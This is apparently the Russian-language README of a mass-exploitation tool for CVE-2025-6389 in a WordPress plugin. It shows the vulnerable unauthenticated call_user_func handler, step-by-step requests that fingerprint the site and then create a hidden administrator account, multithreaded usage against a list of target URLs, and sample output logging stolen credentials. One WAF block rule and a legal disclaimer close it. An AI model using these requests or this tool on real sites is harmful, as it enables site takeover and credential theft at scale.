// Зарегистрировано без проверки аутентификации
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');

function sneeit_articles_pagination_callback() {
    $callback = $_POST['callback'];  // ← Имя функции, контролируемое пользователем
    $args     = json_decode(stripslashes($_POST['args']), true); // ← Аргументы, контролируемые пользователем

    // Вызов ЛЮБОЙ PHP-функции с ЛЮБЫМИ аргументами — нулевая валидация
    $result = call_user_func($callback, ...$args);

    echo $result;
    die();
}

Шаг 1 — Разведка / Определение отпечатка
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = var_dump
  args     = ["test"]

Ожидаемый ответ → array(1) { [0]=> string(4) "test" }
  ↓
Подтверждение: call_user_func() доступна и отражает вывод

──────────────────────────────────────────────────────────────────
Шаг 2 — Создание учётной записи администратора
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
  action   = sneeit_articles_pagination
  callback = wp_insert_user
  args     = {"user_login":"Nxploited_XXXX",
               "user_pass":"xplpass",
               "user_email":"...",
               "role":"administrator"}

Результат → На целевой системе незаметно создана новая учётная запись администратора
  ↓
Полный доступ к панели администратора WordPress достигнут ✔️

pip install requests rich

CVE-2025-6389/
├── CVE-2025-6389.py          # Основной скрипт эксплойта
├── list.txt                  # Целевые URL — по одному на строку
├── success_results.txt       # Автоматически создаётся: успешные цели + учётные данные
└── debug_responses/          # Автоматически создаётся: сырые ответы сервера для отладки
    └── <цель>.resp.txt

https://target1.com
https://target2.com
http://target3.com

python CVE-2025-6389.py

Имя файла с целями (по умолчанию list.txt): list.txt
Количество потоков (по умолчанию 10):       20

┌─────────────────────────────────────────────────────────────────────┐
│  [ASCII BANNER]                                                      │
├──────────────────────────────┬──────────────────────────────────────┤
│  Информация                   │  Статистика                          │
│  Использование: поместите... │  Всего целей:   150                 │
│  Потоки: 20                  │  Обработано:     87                  │
│  Пароль: xplpass             │  Успехов:        12                  │
│  Журнал успехов: success...  │  Неудач:         75                  │
│  Папка отладки: debug...     │  Прошло:         00:01:43            │
├──────────────────────────────┴──────────────────────────────────────┤
│  Последние результаты                                                │
│  Время    Цель                                Результат             │
│  14:23:01 https://victim.com                  SUCCESS               │
│  14:23:03 https://example.net                 FAIL                  │
└─────────────────────────────────────────────────────────────────────┘

https://victim.com | USER: Nxploited_4821 | PASS: xplpass | EMAIL: [email protected]

debug_responses/
└── https___victim.com.resp.txt   ← Сырой ответ сервера для анализа

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=sneeit_articles_pagination&callback=<ФУНКЦИЯ>&args=<JSON>

IF request.method == POST
AND request.path  == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "sneeit_articles_pagination"
AND request.body CONTAINS "callback"
THEN BLOCK + ALERT

ДАННЫЙ ИНСТРУМЕНТ ПРЕДОСТАВЛЕН СТРОГО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ,
АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ НА ПРОНИКНОВЕНИЕ И ИССЛЕДОВАНИЙ БЕЗОПАСНОСТИ.

Загружая, запуская или изменяя этот скрипт, вы явно соглашаетесь:

  • У вас есть ЯВНОЕ ПИСЬМЕННОЕ РАЗРЕШЕНИЕ от владельца каждой
    тестируемой системы. Без исключений.

  • Вы работаете в контролируемой лабораторной среде или в рамках
    формально согласованного и авторизованного задания.

  • Вы НЕ будете использовать этот инструмент против любой системы,
    сети или инфраструктуры, на тестирование которых у вас нет
    законного разрешения.

  • Nxploited и все участники НЕ НЕСУТ НИКАКОЙ ОТВЕТСТВЕННОСТИ за
    любое несанкционированное использование, ущерб, потерю данных,
    судебные иски или уголовное преследование, возникшие в результате
    использования данного инструмента.

Несанкционированное использование этого эксплойта является уголовным
преступлением в соответствии с:
  — Законом о компьютерном мошенничестве и злоупотреблениях (CFAA), США
  — Законом о неправомерном использовании компьютеров (CMA), Великобритания
  — Директивой ЕС 2013/40/EU об атаках на информационные системы
  — И всеми эквивалентными национальными и международными законами
    о киберпреступлениях.

ИСПОЛЬЗУЙТЕ ОТВЕТСТВЕННО. ХАКАЙТЕ ЭТИЧНО. РАСКРЫВАЙТЕ ОТВЕТСТВЕННО.